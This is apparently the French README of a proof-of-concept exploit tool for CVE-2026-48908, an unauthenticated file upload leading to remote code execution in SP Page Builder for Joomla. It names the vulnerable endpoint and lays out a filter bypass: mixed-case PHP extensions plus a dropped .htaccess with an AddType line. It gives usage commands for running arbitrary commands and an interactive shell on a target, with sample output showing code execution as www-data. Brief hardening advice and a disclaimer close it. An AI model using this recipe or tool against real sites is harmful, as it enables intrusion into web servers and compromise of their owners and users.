Preuve de concept (PoC) d'exécution de code à distance non authentifiée pour CVE-2026-48908 — SP Page Builder pour Joomla (≤ 6.6.1) : téléchargement arbitraire de fichiers via asset.uploadCustomIcon. Auto-nettoyant, protégé par jeton. Tests autorisés uniquement.
| CVE | CVE-2026-48908 |
| Faiblesse | CWE-284 Contrôle d'accès inapproprié → Téléversement de fichier arbitraire non authentifié → RCE |
| Composant | SP Page Builder (com_sppagebuilder) pour Joomla |
| Versions affectées | 1.0.0 – 6.6.1 |
| Corrigé dans | 6.6.2 |
| Privilèges requis | Aucun (pré-authentification) |
| Interaction utilisateur | Aucune |
SP Page Builder expose la tâche du contrôleur asset.uploadCustomIcon pour gérer le téléversement d'un package d'icônes personnalisées :
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
Dans les versions concernées, cette tâche est accessible sans authentification et sans jeton anti-CSRF valide. Elle accepte une archive ZIP (champ multipart custom_icon) et extrait son contenu dans un répertoire accessible publiquement via le web sous la racine du document :
/media/com_sppagebuilder/assets/iconfont/<nom>/ (incluant le sous-dossier fonts/)
Étant donné que le téléversement est accessible sans authentification et que les fichiers extraits se retrouvent dans la racine web, un attaquant peut écrire des fichiers contrôlés dans un emplacement accessible et les atteindre via HTTP.
Certaines versions ajoutent un filtre côté serveur sur les noms de fichiers des entrées de l'archive. Cette preuve de concept contourne une implémentation courante de ce filtre avec une chaîne en trois étapes :
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … mais il ne normalise pas la casse, donc .PHP (et autres variantes de casse mixte) ainsi que .htaccess passent à travers.<FilesMatch "\.php$">) n'exécute que les .php en minuscules, donc un .PHP téléversé est initialement servi sous forme de texte source, non exécuté..htaccess. Un fichier .htaccess (que la liste noire ne détecte pas non plus) contenant AddType application/x-httpd-php .PHP est déposé à côté de la charge utile. Là où AllowOverride le permet, cela enregistre .PHP comme PHP et le shell téléversé s'exécute.La preuve de concept inclut toujours une structure d'icônes valide (selection.json, style.css, fonts/<nom>.ttf) pour que le téléversement soit accepté, puis ajoute le shell.
Adaptatif — elle parcourt une liste d'extensions exécutables PHP (moins d'empreinte d'abord), puis une solution de repli avec .htaccess, et s'arrête à la première qui exécute effectivement du code :
fonts/<shell>.<ext> pour chacune de
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Sans .htaccess.
Les différents filtres de SP Page Builder bloquent différents ensembles, et différentes configurations Apache exécutent différentes extensions — cela trouve donc la combinaison que la cible autorise et exécute.fonts/.htaccess + fonts/<shell>.PHP (repli) — seulement si chaque tentative directe échoue. Le .htaccess déposé (AddType … .PHP) force l'exécution d'un .PHP en majuscule là où AllowOverride le permet (c'est ce dont les hôtes de type 5.4.6 ont besoin).Elle s'arrête à la première méthode qui s'exécute et affiche celle qui a fonctionné. Chaque téléversement accepté est suivi, donc --cleanup supprime tous (les tentatives multiples peuvent laisser des répertoires en écriture seule).
Selon la version et le durcissement du serveur, le résultat varie, et la preuve de concept l'indique explicitement (voir Résultats ci-dessous) : RCE complète, écriture de fichier uniquement (PHP désactivé /
AllowOverride None), corrigé (admin uniquement), ou non vulnérable.
pip install -r requirements.txt # requests
# confirmer la vulnérabilité et prouver l'exécution de code (exécute `id`)
python3 sppb_rce.py https://cible.example
# exécuter une commande spécifique
python3 sppb_rce.py --url cible.example -c "uname -a"
# shell interactif pseudo
python3 sppb_rce.py https://cible.example --shell
# seulement vérifier ; n'exécuter aucune commande
python3 sppb_rce.py https://cible.example --check
# supprimer le répertoire de charge utile téléversée ensuite
python3 sppb_rce.py https://cible.example --cleanup
La cible peut être donnée comme argument positionnel ou via --url, avec ou sans schéma.
[*] cible : https://cible.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] essai .php -> rejeté par le filtre
[*] essai .php3 -> rejeté par le filtre
...
[*] essai .PHP -> téléversé, non exécuté
[*] essai .htaccess+.PHP -> EXÉCUTÉ
[+] EXÉCUTION DE CODE CONFIRMÉE via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] exécution : id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] nettoyage : effectué (4 répertoires)
La preuve de concept vous indique toujours le verdict pour la cible :
| Sortie | Signification | Sortie |
|---|---|---|
EXÉCUTION DE CODE CONFIRMÉE via '<méthode>' | Vulnérable — RCE complète sans authentification | 0 |
[~] PARTIELLEMENT VULNÉRABLE — écriture de fichier sans authentification fonctionne, mais PHP ne s'est PAS exécuté | Écriture de fichier uniquement (AllowOverride None / PHP désactivé dans /media) | 3 |
[-] CIBLE NON VULNÉRABLE — SP Page Builder est corrigé (6.6.2+) | Corrigé — le téléversement nécessite désormais une authentification admin | 1 |
[-] CIBLE NON VULNÉRABLE — chaque téléversement a été rejeté, ou SP Page Builder est absent/corrigé | Non exploitable / composant absent | 2 |
404 à quiconque ne possède pas ce jeton — ce n'est pas une porte dérobée ouverte à tous.--cleanup supprime le répertoire de charge utile qu'il a créé.id, un marqueur arithmétique)./media/, /images/, /tmp) via le pool FPM ou php_admin_flag engine off.AllowOverride None sur ces répertoires afin qu'un .htaccess déposé ne puisse pas réactiver les gestionnaires..php/.PHP inattendus sous media/.../iconfont/, de nouveaux comptes Super Utilisateur, et des gestionnaires de fichiers installés.Exploit Joomla SP Page Builder · RCE non authentifiée com_sppagebuilder · Preuve de concept CVE-2026-48908 · Téléversement arbitraire de fichier asset.uploadCustomIcon · Exécution de code à distance Joomla · Script d'exploit pour test d'intrusion.
Ce logiciel est publié à des fins éducatives et pour des tests de sécurité autorisés uniquement — par exemple, des tests d'intrusion pour lesquels vous avez une autorisation écrite, des programmes de bug bounty incluant la cible dans le périmètre, des compétitions CTF, et vos propres systèmes de laboratoire.
Accéder, modifier ou perturber des systèmes informatiques sans autorisation est illégal dans la plupart des juridictions. Vous êtes seul et entièrement responsable de vos actions. En utilisant, téléchargeant ou distribuant ce code, vous acceptez que :
Si vous n'êtes pas d'accord avec ces conditions, n'utilisez pas ce logiciel. Comme pour tout exploit/PoC accessible publiquement, il est partagé de bonne foi pour aider les défenseurs à détecter, comprendre et corriger la vulnérabilité ; ce que vous en faites vous regarde.
MIT — voir LICENSE.